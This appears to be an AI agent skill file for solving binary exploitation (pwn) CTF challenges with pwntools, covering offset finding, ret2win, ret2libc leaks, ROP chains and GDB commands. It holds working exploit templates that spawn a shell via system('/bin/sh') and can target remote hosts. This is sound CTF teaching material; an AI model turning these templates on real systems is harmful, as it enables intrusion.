--- name: pwn-exploits description: > Binary exploitation patterns using pwntools for buffer overflows, ROP chains, and shellcode in CTF challenges. Trigger: When solving pwn challenges, buffer overflows, ROP chains, or writing exploits. license: MIT metadata: author: ctf-arsenal version: "1.0" category: binary-exploitation --- # Binary Exploitation Patterns ## When to Use Load this skill when: - Solving binary exploitation (pwn) CTF challenges - Working with buffer overflows and stack-based vulnerabilities - Building ROP (Return-Oriented Programming) chains - Writing shellcode or exploits - Using pwntools for exploitation - Analyzing binaries with GDB, checksec, or strings ## Binary Analysis Workflow ### Step 1: Static Analysis First **Always begin with static analysis before dynamic exploitation.** ```bash # Search for interesting strings strings ./vuln | grep -iE "flag|password|key|secret|admin" # Check binary protections checksec ./vuln # Examine file type and architecture file ./vuln ``` **Why?** Static analysis reveals: - Hidden functionality and backdoor functions - Hardcoded credentials or flags - Security mitigations (PIE, NX, Stack Canary, RELRO) - Architecture (32-bit vs 64-bit, calling conventions) ### Step 2: Decompile with Ghidra/IDA ```bash # Batch decompile with Ghidra headless mode (RECOMMENDED) ./ghidra_headless/decompile_headless.sh ./vuln output.c # Or use Python wrapper (legacy) python tools/decompile.py ./vuln # Or manually open in Ghidra GUI ghidra ``` **Key things to look for:** - Dangerous functions: `gets()`, `strcpy()`, `scanf()`, `read()` with no bounds - Win functions: `system("/bin/sh")`, `execve()`, `print_flag()` - Buffer sizes vs input sizes - Comparison operations (password checks, admin checks) ### Protection Analysis Table | Protection | Status | Exploitation Strategy | |------------|--------|----------------------| | **PIE** | Enabled | Need address leak for code/data addresses | | **PIE** | Disabled | Can use hardcoded addresses directly | | **NX** | Enabled | Cannot execute shellcode on stack, use ROP | | **NX** | Disabled | Can write shellcode to buffer and execute | | **Stack Canary** | Enabled | Need canary leak or bypass technique | | **Stack Canary** | Disabled | Direct buffer overflow exploitation | | **RELRO Full** | Enabled | Cannot overwrite GOT entries | | **RELRO Partial** | Enabled | Can overwrite GOT for hijacking | ## Exploitation Patterns ### Pattern 1: Find Buffer Overflow Offset ```python from pwn import * # Generate cyclic pattern io = process('./vuln') payload = cyclic(500) io.sendline(payload) io.wait() # After crash, examine core dump or GDB # Find the offset where control is hijacked core = Coredump('./core') offset = cyclic_find(core.read(core.rsp, 4)) # x86_64 # or offset = cyclic_find(core.read(core.eip, 4)) # x86 log.info(f"Offset: {offset}") ``` **Alternative: Manual offset finding** ```python # Use offset_finder.py from tools/ # python tools/offset_finder.py ./vuln ``` ### Pattern 2: Basic ret2win (Call Win Function) ```python from pwn import * exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) context.log_level = "debug" # Find win function address win_addr = elf.symbols['win'] # or elf.symbols['print_flag'] # Build payload payload = flat({ offset: [ win_addr ] }) io = process(exe) io.sendline(payload) io.interactive() ``` ### Pattern 3: ret2libc (Leak + System) **Stage 1: Leak libc address** ```python from pwn import * exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) libc = ELF("./libc.so.6") # or ELF("/lib/x86_64-linux-gnu/libc.so.6") rop = ROP(elf) # Build ROP chain to leak puts@GOT payload = flat({ offset: [ rop.find_gadget(['pop rdi', 'ret'])[0], elf.got['puts'], elf.plt['puts'], elf.symbols['main'] # Return to main for second exploit ] }) io = process(exe) io.sendline(payload) io.recvuntil(b"expected_output") leak = u64(io.recvline().strip().ljust(8, b'\x00')) log.info(f"Leaked puts@GOT: {hex(leak)}") # Calculate libc base libc.address = leak - libc.symbols['puts'] log.success(f"Libc base: {hex(libc.address)}") ``` **Stage 2: Call system("/bin/sh")** ```python # Find /bin/sh string in libc bin_sh = next(libc.search(b'/bin/sh\x00')) # Build final ROP chain payload2 = flat({ offset: [ rop.find_gadget(['ret'])[0], # Stack alignment (required for movaps) rop.find_gadget(['pop rdi', 'ret'])[0], bin_sh, libc.symbols['system'] ] }) io.sendline(payload2) io.interactive() ``` ### Pattern 4: Auto-Switch Start Function **Use this template for all pwn scripts:** ```python from pwn import * exe = "./vuln" elf = context.binary = ELF(exe, checksec=False) context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] def start(argv=[], *a, **kw): """Start the exploit in different modes""" if args.GDB: gdbscript = """ b *main continue """ return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], int(sys.argv[2]), *a, **kw) else: return process([exe] + argv, *a, **kw) # Usage: # python solve.py # Local process # python solve.py GDB # Debug with GDB # python solve.py REMOTE IP PORT # Remote connection ``` ### Pattern 5: ROP Chain Construction ```python from pwn import * elf = ELF("./vuln") rop = ROP(elf) # Method 1: Automatic ROP chain rop.call('puts', [elf.got['puts']]) rop.call('main') # Method 2: Manual gadget selection pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] ret = rop.find_gadget(['ret'])[0] payload = flat({ offset: [ ret, # Stack alignment pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'] ] }) ``` ## Quick Reference ### Pwntools Essential Commands | Task | Command | |------|---------| | Generate cyclic pattern | `cyclic(500)` | | Find offset from crash | `cyclic_find(b'caaa')` or `cyclic_find(0x61616161)` | | Pack 64-bit integer | `p64(0x401000)` | | Pack 32-bit integer | `p32(0x08048000)` | | Unpack 64-bit bytes | `u64(data.ljust(8, b'\x00'))` | | Unpack 32-bit bytes | `u32(data.ljust(4, b'\x00'))` | | Launch with GDB | `gdb.debug([exe], gdbscript=script)` | | Connect remote | `remote(host, port)` | | Local process | `process([exe])` | | Build structured payload | `flat({offset: [gadget1, gadget2]})` | | Find ROP gadgets | `rop.find_gadget(['pop rdi', 'ret'])` | | Search bytes in binary | `next(elf.search(b'/bin/sh'))` | ### Common ROP Gadgets (x86_64) ```python # System call setup pop_rdi = 0x400123 # pop rdi; ret (1st argument) pop_rsi = 0x400456 # pop rsi; ret (2nd argument) pop_rdx = 0x400789 # pop rdx; ret (3rd argument) pop_rax = 0x400abc # pop rax; ret (syscall number) # Stack alignment (REQUIRED for recent libc) ret = 0x400001 # ret # Useful symbols bin_sh = next(elf.search(b'/bin/sh\x00')) system = elf.symbols['system'] # or libc.symbols['system'] ``` ### GDB Essential Commands ```bash # Pwndbg commands checksec # Check binary protections vmmap # Memory mapping telescope $rsp 20 # Stack view cyclic 200 # Generate pattern cyclic -l 0x61616161 # Find offset rop # Search ROP gadgets rop --grep "pop rdi" # Filter gadgets got # GOT entries plt # PLT entries # Standard GDB b *main # Breakpoint at address b *0x401234 x/20gx $rsp # Examine stack (64-bit) x/20wx $esp # Examine stack (32-bit) x/20i $rip # Disassemble info registers # Register values set $rax = 0 # Modify register ``` ## CTF-Specific Tips ### Extract Flags Automatically ```python import re def extract_flag(data): """Extract common CTF flag formats""" patterns = [ r'flag\{[^}]+\}', r'FLAG\{[^}]+\}', r'CTF\{[^}]+\}', r'picoCTF\{[^}]+\}', r'HTB\{[^}]+\}', r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}', ] text = data if isinstance(data, str) else data.decode('latin-1') for pattern in patterns: match = re.search(pattern, text) if match: return match.group(0) return None # Usage io.recvuntil(b"output") data = io.recvall() flag = extract_flag(data) if flag: log.success(f"Flag: {flag}") ``` ### One-Gadget Usage ```bash # Find one-gadgets in libc (requires one_gadget gem) one_gadget libc.so.6 # Use in exploit one_gadget = libc.address + 0x4f3d5 # Offset from one_gadget output payload = flat({offset: one_gadget}) ``` ## Anti-Patterns (Avoid These) ### ❌ Don't: Skip Static Analysis ```python # BAD: Jumping straight to buffer overflow without understanding the binary offset = 72 # Guessed payload = b'A' * offset + p64(0xdeadbeef) ``` **Why it's bad:** You might miss: - Easier solutions (hardcoded flags, win functions) - Critical constraints (length checks, character filters) - Security mitigations that require different approaches ### ❌ Don't: Hardcode Addresses with PIE/ASLR ```python # BAD: Hardcoded libc addresses system_addr = 0x7ffff7a52290 # This won't work with ASLR # GOOD: Calculate from leak libc.address = leak - libc.symbols['puts'] system_addr = libc.symbols['system'] ``` ### ❌ Don't: Forget Stack Alignment ```python # BAD: Direct call to system() may crash payload = flat({offset: [pop_rdi, bin_sh, system]}) # GOOD: Add 'ret' gadget for alignment (movaps requirement) payload = flat({offset: [ret, pop_rdi, bin_sh, system]}) ``` ### ❌ Don't: Ignore Error Messages ```python # BAD: Blindly sending payload without checking responses io.sendline(payload) io.interactive() # GOOD: Check for errors and debug io.sendline(payload) response = io.recvuntil(b"expected", timeout=2) if b"error" in response or b"invalid" in response: log.error("Exploit failed, check payload") exit(1) io.interactive() ``` ## Bundled Resources ### Templates All templates use the auto-switch start function for easy testing: - `templates/pwn_basic.py` - Basic buffer overflow template - `templates/pwn_rop.py` - ROP chain + ret2libc template - `templates/angr_template.py` - Symbolic execution with angr ### Tools Helper scripts for common tasks: - `tools/checksec_quick.sh` - Quick security check wrapper - `tools/offset_finder.py` - Automated offset calculation - `tools/leak_parser.py` - Parse and format address leaks - `tools/libc_lookup.py` - Identify libc version from leaks - `tools/rop_chain_skeleton.py` - Generate ROP chain templates - `tools/patch_ld_preload.sh` - Patch binary to use specific libc ### Ghidra Headless Decompilation - `ghidra_headless/` - Automated decompilation without GUI - `ghidra_headless/decompile_headless.sh` - Wrapper script for batch decompilation - `ghidra_headless/DecompileCLI.java` - Ghidra Java script for headless operation - `ghidra_headless/README.md` - Detailed usage and troubleshooting guide ### Gadget Finders - `gadgets/find_gadgets_ropgadget.sh` - ROPgadget wrapper - `gadgets/find_gadgets_ropper.sh` - Ropper wrapper - `gadgets/find_gadgets_rpplus.sh` - rp++ wrapper - `gadgets/one_gadget_notes.md` - One-gadget usage guide ### Quick References - `references/quickref_gadgets.md` - Common ROP gadgets reference - `references/quickref_gdb.md` - GDB command cheatsheet - `references/gdb_cheatsheet.md` - Detailed GDB guide - `references/ret2libc_checklist.md` - Step-by-step ret2libc guide - `references/usage_guide.md` - Tool usage instructions ### GDB Configuration - `gdb_init/` - GDB initialization scripts for pwndbg, GEF, peda ## Keywords pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development